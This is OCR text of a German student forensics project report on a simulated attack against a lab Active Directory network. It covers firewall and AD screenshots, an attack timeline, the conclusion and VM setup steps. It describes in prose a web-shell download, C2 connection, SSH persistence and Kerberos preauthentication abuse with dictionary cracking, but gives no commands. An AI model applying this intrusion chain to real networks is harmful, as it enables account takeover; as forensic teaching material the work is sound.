& Windows Device Management Sync Clic... Any Windows Device Managem...  All Yes Alow  Ne e |l
Windows Management Instrumentation .. Any Windows Management Instr... All Yes Rlow  No e ||
Windows Medis Player (TCP-Out) Any Windows Media Player Al No Rlow  No e |
Windows Media Player (UDP-Out) Any Windows Media Player Al No Allow  Ne upF
Windows Media Player 86 (TCP-Out)  Any Windows Media Player Al No Alow  No e (|1
Windows Media Player x86 (UDP-Out)  Any Windows Media Player Al No Alow  No upF
Windows Mediz Player Network Sharing ... Local subnet Windows Media Player Net..  Private.. No Alow  Ne e ||
Windows Media Player Network Sharing .. Any Windows Media Player Net..  Demain  No Alow  Ne e [
Windows Medis Player Network Sharing .. Any Windows Media Player Net.. Domain  No Rlow  No Tcp
Windows Medis Player Network Sharing .. Locsl subnet Windows Media Player Net...  Private.. No Allow  Ne e ||
Windows Medis Player Network Sharing ... Locsl subnet Windows Media Player Net...  Private.. No Allow  Ne wr ||
Windows Medis Player Network Sharing .. Any Windows Media Player Net..  Domain  No Alow  No wor 4
Windows Mediz Player Network Sharing ... Local subnet Windows Media Player Net..  All No Alow  Ne uoF
Windows Media Player Network Sharing .. Any Windows Media Player Net..  Demain  No Alow  Ne P
Windows Medis Player Network Sharing .. Locs! subnet Windows Media Player Net...  Private.. No Rlow  No Tcp
Windows Medis Player Network Sharing .. Any Windows Media Player Net.. Domsin  No Allow  Ne upF
Windows Medis Player Network Sharing .. Locsl subnet Windows Media Player Net...  Private.. No Allow  Ne upF
Windows Medis Player Network Sharing ... Locsl subnet Windows Media Player Net..  Private.. No Alow  No TP
Windows Media Player Network Sharing .. Any Windows Media Player Net..  Domain  No Alow  Ne P
Windows Media Player Network Sharing .. Any Windows Media Player Net..  Demain  No Alow  Ne uoF
Windows Medis Player Network Sharing .. Locs! subnet Windows Media Player Net...  Private.. No Rlow  No upF
Windows Medis Player Network Sharing ... Locs! subnet Windows Media Player Net... Al No Rlow  No P
Windows Medis Player Network Sharing .. Local subnet Windows Media Player Net...  All No Allow  No TP
L
Windows Security Any FORENSIK\Administrator Windows Security Al Yes Allow  No Any Any Any
Windows Shell Experience Any FORENSIK\Administrator Windows Shell Experience Al Yes Alow  Ne Any Any Any
Windows Shell Experience Any FORENSIKichristian. meier Windows Shell Experience Al Yes Alow  Ne Any Any Any
Windows Shell Experience Any FORENSIK\Administrator Windows Shell Experience Al Yes Rlow  No Any Any Any
Windows Shell Experience Any FORENSIKichristian. meier Windows Shel Experience  All Yes Allow  Ne Any Any Any
Work or school account Any FORENSIKchristian. meier Work or school account Al Yes Allow  Ne Any Any Any
Work or school account Any FORENSIK\Administrator Work or school account Al Yes Alow  No Any Any Any
Your account Any FORENSIK\Administrator Your account Al Yes Alow  Ne Any Any Any
Your account Any FORENSIKchristian. meier Your account Al Yes Alow  Ne Any Any Any v
< >|l< >
Abbildung 66: Uberprifung der Firewall 1/2
Tindows Derender Frewall with Ravanced SEcomy
file Action View Help
e | 2@ 2B
£ Vit
: m":\:‘::u Neme Group Profile  Enabled  Action  Ovemide Progam  Local Address  RemoteAddress  Protocol  LocalPort  Remote Port
¥ Connection Security Rules || @ mONS (UDP-In) mONS Public  Yes Allow  No %System... Any Local subnet uop 5353 Any
v 1B Moritoring @ mONS (UDP-In) mDNS Domain  Yes Mlow  No %System... Any Any uoP 5353 Any
) Firewsll @ Microsoft Key Distribution Service Microsoft Key Distribution S... All Yes Alow  No %system.. Any Any T RPCEndp.. Any
& Connection Security Rul| @ Microsoft Key Distribution Service Microsoft Key Distribution S... All Yes Allow  No Sésystem...  Any Any P RPCDyna.. Any
v & Security Associations Netlogon Service (NP-In) Netlogon Service Al No Alow  No System  Any Any P w5 Any
.} Main Mode Netlogon Service Authz (RPC) Netlogon Service Al No Alow  No %System... Any Any P RPCDyna.. Any
| Quick Mode Network Discovery (LLMNR-UDP-In) Network Discovery Al No Allow  No %System... Any Local subnet uop 5355 Any
Network Discovery (NB-Datagram-In)  Network Discovery Al No Allow  No System  Any Any uop 138 Any
Network Discovery (N8-Name-In) Network Discovery Al No Allow  No System  Any Any uop 137 Any
Network Discovery (Pub-WSD-In) Network Discovery Al No Alow  No %System... Any Local subnet uop 2 Any
Network Discovery (SSP-In) Network Discovery Al No Allow  No %System... Any Local subnet uop 1%00 Any
Network Discovery (UPnP-In) Network Discovery Al No Alow  No System  Any Any P 2869 Any
Network Discovery (WSD Events-In) Network Discovery Al No Alow  No System  Any Any P 5357 Any
Network Discovery (WSD EventsSecure-In)  Network Discovery Al No Allow  No System  Any Any P 5358 Any
Network Discovery (WSD-In) Network Discovery Al No Allow  No %System... Any Local subnet uop 3702 Any
Performance Logs and Alerts (DCOM-In)  Performance Logs and Alerts  Domain  No Allow Mo system..  Any Any T 135 Any
Performance Logs and Alerts (DCOM-In)  Performance Logs and Alerts  Private... No Alow  No Sesystem... Any Local subnet P 135 Any
Performance Logs and Alerts (TCP-In)  Performance Logs and Alerts  Private... No Allow  No Sésystem...  Any Local subnet Tce Any Any
Performance Logs and Alerts (TCP-in)  Performance Logs and Alerts  Domain  No Allow  No system.. Any Any P Any Any
Remote Desktop - (TCP-WS-In) Remote Desktop (WebSocket) Al No Allow  No System  Any Any P 3387 Any
Remote Desktop - (TCP-WSS-in) Remote Desktop (WebSocket) All No Allow  No Any Tcp 3392

[} Remote Desktop - Shadow (TCP-in)

[/]Remote Desktop - User Mode (TCP-In)

[/]Remote Desktop - User Mode (UDP-In;

Remote Desktop
Remote Desktop
) Remote Desktop

Remote Event Log Management (NP-In)  Remote Event Log Manage...  All No Allow  No Any Tcp Any
Remote Event Log Management (RPC) Remote Event Log Manage...  All No Allow  No Any TP RPCDyna.. Any
Remote Event Log Management (RPC-EP... Remote Event Log Menage...  All No Alow  No Any TP RPCEndp.. Any
Remote Event Monitor (RPC) Remote Event Monitor All No Allow  No Any (<] RPCDyna.. Any
Remote Event Monitor (RPC-EPMAP) Remote Event Monitor Al No Allow  No Any Tcp RPCEndp.. Any
Remote Scheduled Tasks Management (.. Remote Scheduled Tasks M... Al No Allow  No Any TP RPCDyna.. Any
Remote Scheduled Tasks Management (.. Remote Scheduled Tasks M...  All No Alow  No Any Tcp RPCEndp.. Any
Remote Service Management (NP-In) Remote Service Management  All No Allow No Any TCcp a5 Any
Remote Service Management (RPC) Remote Service Management Al No Allow  No Any Tcp RPCDyna.. Any
Remote Service Management (RPC-EPM... Remote Service Management  All No Miow  No Any ce RPCEndp.. Any
Remote Volume Management - Virtual Di... Remote Volume Management Al No Allow  No Any Tcp RPCDyna.. Any
Remote Volume Management - Virtual Di... Remote Volume Management Al No Allow  No %System... Any Any TP RPC Dyna.. Any
Remote Volume Management (RPC-EPM... Remote Volume Management Al No Allow  No %System... Any Any TP RPCEndp.. Any
Routing and Remote Access (GRE-In) Routing and Remote Access  All No Allow  No System  Any Any GRE Any Any
Routing and Remote Access (L2TP-In)  Routing and Remote Access Al No Allow  No System  Any Any uoP 1701 Any
Routing and Remote Access (PPTP-In)  Routing and Remote Access Al No Allow  No System  Any Any Tce 1723 Any

Abbildung 67: Uberpriifung der Firewall 2/2

Die Frage wie der Account des Nutzers Ubernommen werden konnte, wird im
Folgenden bearbeitet. Als erstes wird der Account des Users, in der Datenbank
des Doméanen-Controllers, auf Unstimmigkeiten tberpruft (siehe Abbildung 68).
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Eine grofRe Sicherheitslicke wird in der Fehlkonfiguration des Accounts
festgestellt. Die Funktion Do not require Kerberos preauthentication wurde
aktiviert. Mit diesem Fehler wird der Prozess der Kerberos Pre-Authentifizierung

Ubergangen und der Nutzer erhalt einen Hash des Benutzerpasswortes.

=
@ v Server Manager * AD DS

| ForeignSecurityPrincipalt
2| Geschaftsfihrung

2| Human Resources

= IT-Admins

21 Lohnbuchhaltung
Managed Service Accour
o] Praktikanten

[ unlock account

Accourt options

Bf Dashboal - Christian Meier Properties ? X

. File Action View Help

B Local Ser &= = ‘ b ‘ ¥ a ‘ XE QB | H | LamTHER Member Of Dialin Enwironment Sessions

s Al Server— Remote control Remote Deskiop Senvices Profil COM=
m = A.ct\ve Directory Users and Com)| Name Type Description General  Address  Account  Profle  Telephones  Organization

- Saved _QUE”ES & Christian Meier User

§8 DHCP |V H forensik projekt local & Max Mustermann User Userlogon name

o o | Assistenzen der Geschaft) @forensik projekt local ~

em DNS =

- - s“_i_“b"d”‘dﬁ User lagon name (pre-Windows 2000)

B File and uren [FORENSIK | [enmstian meier

Computers
2| Domain Controllers Logon Hours Log On To

[ Use anly Kerberos DES encryption types for this account

[ This account supports Kerberos AES 128 bit encryption

=] Projektleiter [[] This account supports Kerberos AES 256 bit encryption.
2 Sales und Vertrieb Do not require Kerberos preauthentication ©
| Users
Account expires
(®) Never
OFEndof: [ Dienstag . 9. Jui 2024
< >
' Cancel Apply Heip
PDC 3054 Warning Microsoft- Windows-ActiveDirectony DomainSend

Abbildung 68: Uberpriifung der Active Directory Benutzer
Die forensische Live Auswertung hat Folgendes ergeben:
Chronologisch:
17:36 Eingriff in das System

Der Angreifer verschaffte sich Zugang zum Webserver und manipulierte den
Quellcode der Website, wodurch er sich mittels der Malware (Schadprogrammes)

shell.elf Zugang zum Ubuntu Server verschafft.
20:19 Zugang zum AD

Auf dem Ubuntu Server findet er ein einen Nutzer robert.klein mit PW im
Klartext, was im Pauschal einen Uberblick tiber das AD verschafft. Durch die
falsche Konfiguration des Accounts gelingt es dem Angreifer an das Passwort

des IT-Admins christian.meier zu gelangen.
20:44 Berechtigung erhghen

Ein Nutzer des Webservers wurde Ubernommen. Die Ursache ist nicht direkt
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ersichtlich. Hier liegt die Vermutung nah, dass ein zu schwaches Passwort
verwendet wurde. Dies fuhrt dazu, dass der Angreifer Schadcode einspielen
konnte und sich so Zugang zum Ubuntu Server verschaffte. Hier gelangte er mit
Hilfe der Benutzernamens und Passworts, in Klartext, tiefer ins System. Weiter
fing der Angreifer einen Hash des Users christian.meier ab und verschaffte sich
vermutlich mittels lokalem Brute-Force Zugang zu dessen Account. Durch diese
Sicherheitslicke gelang es dem Angreifer die Rechte des Nutzers zu erh6hen

und die Firewall Regeln zu manipulieren.
20:51 RDP-Verbindung auf den Doméanen-Controller

Der Angreifer baut mehrfach aktiv eine Verbindung Uber RDP auf den

Domaéanencontroller auf.
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8 Bewertung der eigenen LOsung

Die Aufsetzung einer eigenen IT-Infrastruktur bedarf einer Grundvoraussetzung
in den Bereichen Systemintegration, Administration, sowie auch Grundlagen
in der Netzwerktechnik. Die grof3te Herausforderung hierbei war es, die
Systeme zu konfigurieren und die Logik des dahinter liegenden Netzes
einzurichten. Insbesondere das Active Directory, welches allgemein als ein
komplexes Themenfeld definiert ist, erwies sich an einigen Stellen, als ein

Problem.

Die Durchfihrung der Angriffssimulation setzte ein tieferes Verstandnis der
Materie des Active Directory voraus, sowie der Umgang mit Command &
Control Frameworks, Erfahrungen in den Bereichen von Penetrationstests /
Ethical Hacking von IT-Infrastrukturen, sowie auch Webapplikationen.
Tiefergehende Netzwerkkenntnisse wurden bendtigt, um einen gedffneten
Kommunikationskanal uber erdffneten Proxy Kanals nutzen zu kodnnen.
Essentiell waren auch Grundkenntnisse von Betriebssystemen und ein
Grundverstandnis zur Einnistung (Persistenz) innerhalb eines Dateisystems. Des
Weiteren sind Kenntnisse im Umgang mit Terminals und Skriptsprachen wie z.

B. PowerShell oder Bash erforderlich gewesen.

Die forensische Analyse erforderte tiefgreifende  Kenntnisse in
Netzwerkgrundlagen, Active Directory, sowie auch in dem Umgang von
Betriebssystemen. Die Analyse und Wiederaufarbeitung des Angriffs erwies eine
Erfahrungsgewinnung im Bereich von Active Directory. Die Auswertung und
Suche nach Daten und Hinweisen geschah allgemein und mit Hilfe von dem

Betriebssystem Windows eigenen Tools.

Zusammenfassend ist die Ausarbeitung als lehrreich einzustufen, da hierbei
vielerlei neue Themengebiete behandelt, sowie vertieft wurden. Des Weiteren
musste vielfach eine Fehleranalyse betrieben werden, um das gesetzte Ziel

erfolgreich umzusetzen.
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9 Zusammenfassung und Ausblick

9.1 Ausblick

Die Ausarbeitung zeigt die Risiken von einfachen Fehlern in einem kleinen
System auf. Eine Anpassung der These, um weitere Schnittstellen und ein
tiefgreifender Eingriff in das System, beispielsweise unter der Nutzung von einer
Ransomware Simulation, sowie deren forensischen Analyse und Aufarbeitung,
waren eine gute Mdglichkeit ein tiefgreifenderes Verstandnis innerhalb der
Materie zu schaffen. Dies setzt gleichermalRen ein grundlegendes Verstandnis
von Analyse und Programmierung von Ransomware und Malware voraus.

Welches nicht mehr innerhalb des Zeitrahmens umsetzbar gewesen ist.

9.2 Konklusion

Bei der Recherche von Bachelor Thesen, welche sich thematisch mit der Active
Directory Forensik befassen, wurde die Bachelorarbeit von Alexander Gritzka
analysiert, welche sich vermehrt auf den theoretischen Aufbau und der
Konzeptionierung eines virtuellen Netzwerkes, mit einem Domé&nen-Controller
befasst. Des Weiteren beinhaltet die Thesis auch Werkzeuge fir die

Malwareanalyse. In seinem Ausblick beschreibt Herr Gritzka, dass er sich in
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30
seiner Arbeit nicht mit der Sicherheit der Laborumgebung auseinandersetzt .
Unabhéngig von der Thesis von Herrn Gritzka, wurde dieser Ansatz ebenfalls
zum Teil des Themas der Ausarbeitung fur das Forensik Projekt Il gemacht.

9.3 Fazit

In der vorliegenden Arbeit wurde sich aktiv mit der Schwachstellenausnutzung
eines einfachen Fehlers in einem Active Directory System auseinandergesetzt,
welche zur Ubernahme eines gesamten Unternehmens fiihrt. Des Weiteren
wurde in der Simulation, ein kleines Unternehmen von einer ungefahren Grol3e
von 10-20 Mitarbeitern gewahlt. Hierzu wurde ein Angriff auf einen Webserver
durchgefuhrt, welcher als Gateway dient, um tiefer in das dahinterliegende
Netzwerk einzudringen. Zu diesem Zweck wurden manuell vier Systeme in einem
separierten Netzbereich erstellt und konfiguriert. Zu den Systemen gehéren ein
Ubuntu Server, auf welchen ein Apache2 Webserver aufgesetzt wurde, ein
Domanen-Controller auf Basis von Windows Server, sowie einen Backup Server

unter Windows Server.

Fur die Implementierung wurden jeweils drei Windows Systeme und ein Linux
System ausgewahlt. Um es hierbei realistisch zu halten, wurde bewusst, nicht die

neuste Software oder ein aktuelles Betriebssystem verwendet. Im Nachgang

30
Vgl. BA 46958 Alexander Gritzka.pdf (hs-mittweida.de)
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erfolgte ein externer Angriff auf den Webserver, wobei das Passwort eines
Nutzers, hier der zustandigen Sachbearbeiterin aus dem Bereich Human
Ressources, mittels Brute-Force Attacke entschliisselt wurde. E-Mail Adressen
von Mitarbeiter im Personalwesen stehen haufig zur Kontaktaufnahme auf der
Webseite des Unternehmens und zeigen eine wahrscheinliche Syntax der zu
verwendeten Benutzernamen. Dank des ermittelten Passworts gelang ein Zugriff
auf den Webserver. Durch diese Kontrolle gelang es die php-Seite Themen-
Funktionen derart zu manipulieren, dass bei dem URL-Aufruf mit dem
Parameter cmd der Download eines Programms shell.elf ausgefuhrt wurde.
Nach Abschluss des Downloads wurde das Schadprogramm ausfuhrbar gesetzt
und fuhrte letztlich zu einer Verbindung auf das Command und Control
Framework des Angreifers. In Folge dessen gelang es dem Angreifer Zugang auf
das Dateisystem des Ubuntu Servers zu erhalten. Darlber hinaus fihrte die
Verwendung des gleichen Passworts fur den lokalen Administrator superadmin
dazu, dass der Angreifer vollumfanglichen Zugriff auf den Webserver erhielt. Dort
fand der Angreifer eine weitere Sicherheitsliicke, den Namen eines Nutzers
mitsamt Passwort in Klartext vor. Des Weiteren wurde eine Manipulation des
SSH-Dienstes vorgenommen, sodass der Angreifer das kompromittierte System
vollumfanglich als Gateway nutzen konnte, um die Systeme aus dem zweiten
Netzbereich zu erreichen. Zu guter Letzt sicherte der Angreifer eine Persistenz,
indem er sich einen SSH Public Key hinterlegt. Der Angreifer konnte dadurch
einen weiteren Nutzer im Active Directory ermitteln und nutzte eine
Sicherheitslicke aus, bei der die Kerberos Pre-Authentifizierung
ausgeschaltet war. Durch diesen Fehler erlangte der Angreifer einen Hash des
Benutzerpasswortes und konnte aufgrund der Tatsache, dass das Passwort sich
in einem bekannten Worterbuch befand, dieses entschlisseln und hatte
demnach Zugriff Uber das Protokoll WinRM auf dem Domanen Controller
erhalten. Auf dem Domanen Controller wurde eine Manipulation der Registry,
sowie der Firewall durchgefiihrt, sodass der Angreifer die Mdglichkeit hatte, tber
das Remote Desktop Protocol sich auf den Domé&nen Controller drauf zu

verbinden.

Im Anschluss an den Angriff erfolgt die forensische Analyse des Vorfalls. Der

Forensiker hatte hierbei eine Untersuchung am Live System durchgefuhrt. Es
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erfolgte eine Untersuchung der offenen Ports des Webservers, um moégliche
Angriffsvektoren von auf3en zu ermitteln. Hierbei stiel3 der Forensiker auf den
von aul3en erreichbaren Apache2 Webserver. Eine tiefergehende Analyse der
WordPress Webseite ergab, dass eine Manipulation innerhalb des php
Quellcodes durchgefuhrt wurde, welche das Programm shell.elf herunterlud. Der
Download des Programms ist bestenfalls nachweisbar, wobei nicht nur der Tag
und Uhrzeit Zeitstempel noch vorhanden, sowie auch das Programm an sich
aufgefunden wurde, ebenso wie die Datei todo.txt., welche den Benutzernamen
und Passwort des nicht mehr beschéaftigten Praktikanten enthielten. Daraus
resultierend erfolgte eine genauere Betrachtung des Domanen Controllers, bei
welchem nach einer handischen Analyse und unter der Nutzung Windows
eigener Tools, Rekonstruktionen der Manipulationen, des vorgenommenen

Angriffes vollzogen wurden.

Eine forensische Untersuchung mittels Kali Linux konnte nur bedingt umgesetzt
werden, da fir die Analyse keine Images der kompromittierten Systeme zur

Verfligung standen und stattdessen eine Live Untersuchung durchgefihrt wurde.
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14 Anlagenverzeichnis und Anlagen

14.1 Installation der Serverkomponenten

14.1.1 Windows Server - Active Directory
Zur Installation des Domanen-Controllers wird eine Testversion von dem

31
Betriebssystem Windows Server 2019  aus der offiziellen Microsoft Webseite

31
https://www.microsoft.com/en-us/evalcenter/download-windows-server-2019
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heruntergeladen (siehe Abbildung 69).

i valuation Center Windows -~ Windows Server - Server ystem Center ~ Microsoft Security A
B® Microsoft Evaluation Cent Nind Nindows § saL 5 Cent M ft Securit

Please select your Windows Server 2019
download

English (United States)

1SO downloads VHD download
64-bit edition > 64-bit edition >

Abbildung 69: Download von Windows Server 2019
Nun erfolgt die Erstellung und Konfiguration einer virtuellen Maschine tber die

32
Virtualisierungssoftware VMware Workstation Pro  (siehe Abbildung 70 bis
Abbildung 78).

32
https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation _html.html
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[  Windows_AD - VMware Workstation

File Edit View VM Tabs Help

[ Mew Virtual Machine... Ctrl+M
7 MNew Window
Open... Ctrl+0
Scan for Virtual Machines...
Cloze Tab Crl+ W

[l Connectto Server... Ctrl+L
Export to OVF...
[Tl Map Virtual Disks...

Exit

Abbildung 70: Erstellen einer neuen virtuellen Maschine 1/9

Mew Virtual Machine Wizard 4

4

VMWARE Welcome to the New Virtual
WORKSTATION Machine Wizard

e 1 6
What type of configuration do you want?

0 Typical {recommended)
Create a Workstation 16, 2.x virtual

machine in a few easy steps,
() Custom (advanced)

Create a virtual machine with advanced
options, such as a SCSI controller type,
wirtual disk type and compatibility with
older YMware products,

. M

Help < Back Cancel

Abbildung 71: Erstellen einer neuen virtuellen Maschine 2/9
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Mew Virtual Machine Wizard X
Guest Operating System Installation

A virtual machine is like a physical computer; it needs an operating
gystem. How wil you install the guest operating system?

Install from:
Installer disc:

Mo drives available

0 Installer discimage file {isa):

| C:\Users -Du:u'.r-.'nlnads'n,l??ﬁi 3650.221105-1743, - | Browse...

[ windows Server 2019 detected.
This operating system will use Easy Install. (What's this?)

()1 will install the operating system later.
The virtual machine will be created with a blank hard disk.

Help < Back Cancel

Abbildung 72: Erstellen einer neuen virtuellen Maschine 3/9

Mew Virtual Machine Wizard >

Easy Install Information
This is used to install Windows Server 20193,

Windows product key

Version of Windows to install

Windows Server Standard Core w

Personalize Windows

Full name: admin|

Password: (optional)

Confirm:

Log on automatically (requires a password)

Help < Back Cancel
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Abbildung 73: Erstellen einer neuen virtuellen Maschine 4/9

Mew Virtual Machine Wizard .

Name the Virtual Machine
What name would you like to use for this virtual machine?

irtual machine name:
Windows_AD|

Location:

D WMiWindows_aAD Browse...

The default location can be changed at Edit = Preferences.

Abbildung 74: Erstellen einer neuen virtuellen Maschine 5/9
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Mew Virtual Machine Wizard X

Specify Disk Capacity
How large do you want this disk to be?

The virtual machine's hard disk is stored as ane or more files on the host computer’s
physical disk. These file{s) start small and become larger as you add applications,
files, and data to your wirtual machine.

Maximum disk size (GB):

Recommended size for Windows 10 and later x64: 60 GB

i) Store virtual disk as a single file
D split virtual disk into multiple fles

Splitting the disk makes it easier to move the virtual machine to another computer
but may reduce performance with very large disks,

Help < Back Cancel

Abbildung 75: Erstellen einer neuen virtuellen Maschine 6/9

Mew Virtwal Machine Wizard >

Ready to Create Virtual Machine

Click Finish to create the virtual machine and start installing Windows
Server 2019 and then VMware Tools,

The wirtual machine will be created with the following settings:

Mame: Windows_AD
Location: D WMYWindows_AD
Version: Workstation 16.2.x

Operating System:  Windows Server 2019

Hard Disk: 100 GB, Split

Memory: 2043 MB

Metwork Adapter:  NAT

Other Devices: 2 CPU cores, CD/OVD, USE Confroller, Printer, Sound...

Customize Hardware. ..

|| Power on this virtual machine after creation

< Back Finish Cancel
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Abbildung 76: Erstellen einer neuen virtuellen Maschine 7/9

Hardware
Device Summary Blomoy
= Specify the amount of memory allocated to this virtual machine, The memory
size must be a multiple of 4 MB.
Processors 2
(%) Mew CD/DVD (SATA)  Using file C:\JJsers-De. . Memory for this virtual machine: 4096 = MB
o Network Adapter MNAT
E| USE Controller Present 178 GB
c}1 Sound Card Auto detect 4GB <
IE] Printer Present 268
gDilea"' Auto detect 16 GB M Maximum recommended memory
R (Memory swapping may
occur beyond this size.)
s 55.9GB
1G8
512 MB M Recommended memory
256 MB 2GB
128 MB
&4 M8 Guest 05 recommended minimum
32 MB 1GE
16 MB
&MB
4 MB
Add... Remove
Abbildung 77: Erstellen einer neuen virtuellen Maschine 8/9
Mew Virtual Machine Wizard *

Ready to Create Virtual Machine

Click Finish to create the virtual machine and start installing Windows 10
and later x54.

The virtual machine will be created with the following settings:

Mame:

Location:

Version:
Operating System:

Hard Disk:
Memory:

Metwork Adapter:
Other Devices:

Windows_AD

D WMYWindows_AD
Workstation 16.2.x
Windows Server 2019

100 GB, Split
4096 MB
NAT

2 CPU cores, CD/OVD, USB Controller, Printer, Sound...

[ Customize Hardware... ]

[] Power on this virtual machine after creation

< Back

Cancel
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Abbildung 78: Erstellen einer neuen virtuellen Maschine 9/9

Nachdem die virtuelle Maschine erstellt wurde, muss die autoinst.flp Diskette
entfernt werden (siehe Abbildung 79), da es sonst zu Komplikationen bei der
Installation kommt, da die Diskette eine Abfrage zur Nutzung eines validen
Produktschliissels beinhaltet, welcher allerdings vorerst nicht fur eine 180-tagige

Testversion bendtigt wird.

[[] windows_AD

Virtual Machine Settings X

Hardware  Options

Device status
Device Summary

[==IMemary 4GB
! Processors 2 8 Connect at power on
[ Hard Disk (NvMe) 100 GB

Dioun (eaTa
|8l Fiopoy

1= Nebwork Adapter MA

[] usa Controller Present

<) Sound Card Auto detect
S Printer Present autoinst.fip
[pisplay Auto detect

Connected

Connection

() Use physical drive:

Auto ect
© Use fioppy image fle:

Create... Browse...

(CJRead-only
¥ Description

.

Abbildung 79: Entfernung des Diskettenlaufwerks

Nachdem das Diskettenlaufwerk entfernt wurde, wird das Netz, des
Netzwerkadapters angepasst, sodass die Kommunikation nur intern Uber den
noch folgenden DHCP-Server erfolgt, hierzu wird der Adapter auf das Netz
VMnet2 umgestellt (siehe Abbildung 80).
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Virtual Machine Settings

Hardware  Cptions

Device

E=IMemory
1 .FProcessors

Summary

Device status
B connected

B connect at power on

Network connection
() Bridged: Connected directly to the physical network

Replicate physical network connection state

(C) NAT: Used to share the host's IP address
(_) Host-only: A private network shared with the host

Custom: Spedific virtual network

VMnet2

USE Controller Present
tli Sound Card Autn detect
=1 Printer Present
[Cpisplay Auto detect
Add... Remove

O LAM segment:

LAN Segments...

Cancel

Advanced...

Help

Abbildung 80: Anpassung des Netzwerkadapters

Nach der Konfiguration des Netzwerkadapters, folgt die Installation des

Betriebssystems (siehe Abbildung 81 - Abbildung 89).
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14 Windows Setup E [=] @

Windows Server* 2019

ELLIELAGNUEEIN Frglish (United States) -

Time and currency format: |fGerman (Germany) -

rboard or input method: [y e

Enter your language and other preferences and click "Mext" to continue.

raticn. All ights reserved.

Abbildung 81: Installation von Windows Server 1/9

i Windows Setup EI [=) @

Windows Server- 2019

Install now

Repair your computer

B Mic orporation. All ights reserved.

Abbildung 82: Installation von Windows Server 2/9
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& @Windows Setup Iﬁ

Select the operating system you want to install

Operating system Architecture Date modified
Windows Server 2019 Standard Evaluaticn 364 11/5/2022

Windows Server 2019 Standard Evaluation (Desktop Experien... x4 11/5/2022

Windows Server 2019 Datacenter Evaluation it 11/5/2022

Windows Server 2019 Datacenter Evaluation (Desktop Experi.. 54 11/5/2022
Description:

This option installs the full Windows graphical envirenment, consuming extra drive space. It can be
useful if you want to use the Windows desktop or have an app that requires it.

Abbildung 83: Installation von Windows Server 3/9

@ él Windows Setup

Applicable notices and license terms

IMPORTANT NOTICE (followed by LICENSE TERMS) 2

Diagnostic and Usage Information. Microsoft automatically collects this
information, which may be associated with your organization, over the
internet, and uses it to help improve your installation, upgrade, and user
experience, and the guality and security of Microsoft products and services.
Windows Server has four (4) information collection settings (Security, Basic,
Enhanced, and Full), and uses the "Enhanced” setting by default. The
Enhanced level includes information required to: (i) run our anti-malware and
diagnostic and usage information technologies; (i) understand device
quality, and application usage and compatibility; and (iii) identify quality
issues in the use and performance of the operating system and applications.

Choice and Control: Administrators can change the level of information v

11 accept the license termsl

Abbildung 84: Installation von Windows Server 4/9
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@ ﬁ]Windows Setup u

Which type of installation do you want?

Upgrade: Install Windows and keep files, settings, and applications
The files, settings, and applications are moved to Windows with this option. This option is only
available when a supported version of Windows is already running on the computer.

Custom: Install Windows only (advanced)

The files, settings, and applications aren't moved to Windows with this option. If you want to
make changes to partitions and drives, start the computer using the installation disc. We
recommend backing up your files before you continue.

Abbildung 85: Installation von Windows Server 5/9

@ é] Windows Setup

Where do you want to install Windows?

Mame Total size Free space Type

,_;’. Drive 0 Unallocated Space 100.0 GB 100.0 GB

+4 Refresh ﬁ Delete .‘fformat

&% Load driver l:'ﬁ Extend

Abbildung 86: Installation von Windows Server 6/9
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@ él Windows Setup

Where do you want to install Windows?

Mame Total size Free space Type
V" Drive 0 Partition 1: Recovery 493.0 MB 4850 MB  Recovery
IV" Drive 0 Partition 2 99.0MB 940MBE System
V, Drive 0 Partition 3 16.0 MB 160 MB MSR (Reserved)
u Drive 0 Partition 4 994 GB 994 GB Primary I
*4 Refresh ?( Delete & Format Mew

&% Load driver

:j Extend

Abbildung 87: Installation von Windows Server 7/9

élWindows Setup

Installing Windows

Status

_,' Copying Windows files
Getting files ready for installation (0%)
Installing features
Installing updates

Finishing up

Abbildung 88: Installation von Windows Server 8/9
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Customize settings

Type a password for the built-in administrator account that you can use to sign in to this computer.

User name

Reenter password

Abbildung 89: Installation von Windows Server 9/9

Nachdem die Installation abgeschlossen wurde, wird der Computer zu Primary
Domanen-Controller ,PDC* umbenannt und anschlieRend neugestartet (siehe

Abbildung 90Fehler! Verweisquelle konnte nicht gefunden werden.).

EN pdministrator: Windows PowerShell

Windows Pow nell
Copyright ( Microsoft Corporation. All rights reserved.

1719

N1 de gy

Abbildung 90: Konfiguration des Domé&nen-Controllers 1/67

Es folgt die Konfiguration einer statischen IP-Adresse, damit die Adresse flr
alle Systeme aus dem Netz als zentrale Kommunikationsstelle verwendet werden

kann und allgemein unter der ersten Adresse 192.168.160.1 und der
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standardisierten Netzmaske 255.255.255.0 (CIDR-Notation 24, umgerechnet
254 mogliche Hosts) ansprechbar ist (siehe Abbildung 91 - Abbildung 95Fehler!

Verweisquelle konnte nicht gefunden werden.).
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Troubleshoot problems

Open Metwork & Internet settings

Abbildung 91: Konfiguration des Doméanen-Controllers 2/67

Ethernetd
Private network

You're connected to the Internet

If you have a limited data plan, you can make this network a
metered connection or change other properties.

Change connection properties

Show available networks

Change your network settings

@ Change adapter options
View network adapters and change connection settings.

% Sharing options

For the networks you connect to, decide what you want to share.

& Metwork troubleshooter
Diagnose and fix network problems.

View your network properties
Windows Firewall
Metwork and Sharing Center

Network reset

8:04

[
= dx 29.05.2024

Abbildung 92: Konfiguration des Doméanen-Controllers 3/67
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E' Metwork Connections

L". EthernetD
S—r Metwork
b Intel(R) 82574L Gigabit

) Disable

Status

Diagnose

uA E' » Control Panel » MNetwork and Internet » MNetwork Connections »

Organize « Disable this network device Diagnose this connection Renarmne this connection

E; Bridge Connections

Create Shortcut

o Delete

® Rename

Abbildung 93: Konfiguration des Doméanen-Controllers 4/67

Metworking

Connect using:

I? Intel(R) 825741 Gigabit Metwork Connection

This connection uses the following tems:

v B8 Client for Microsaft Networks ~
v ]? File and Prirter Shanng for Microsoft Networks

4 Microsoft LLOP Protocol Driver

& Intemet Protocaol Wersion & (TCP/1PvE) W
< >

install.. Uninstall
Description

Transmission Control Protocol/Intemet Protocol. The default
wide area network protocol that provides communication
across diverse interconnected networks.

QK Cancel

U Ethernetd Properties >

Abbildung 94: Konfiguration des Doméanen-Controllers 5/67
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Internet Protocol Version 4 (TCP/IPvd) Properties >
General

¥ou can get IP settings assigned automatically if yvour netwark supports
this capability., Otherwise, you need to ask your network administrator
for the appropriate IP settings.

() Cbtain an IP address automatically
(@) Use the following IF address:

IP address: | 192,168 . 160 . 1 |

Subnet mask: 255 , 255,255, 0

Default gateway: | . . . |

Obtain DMS server address automatically

wing DMS server addresses:

Preferred DMS server: 192 . 168 . 160 . 1

Alternate DMS server:

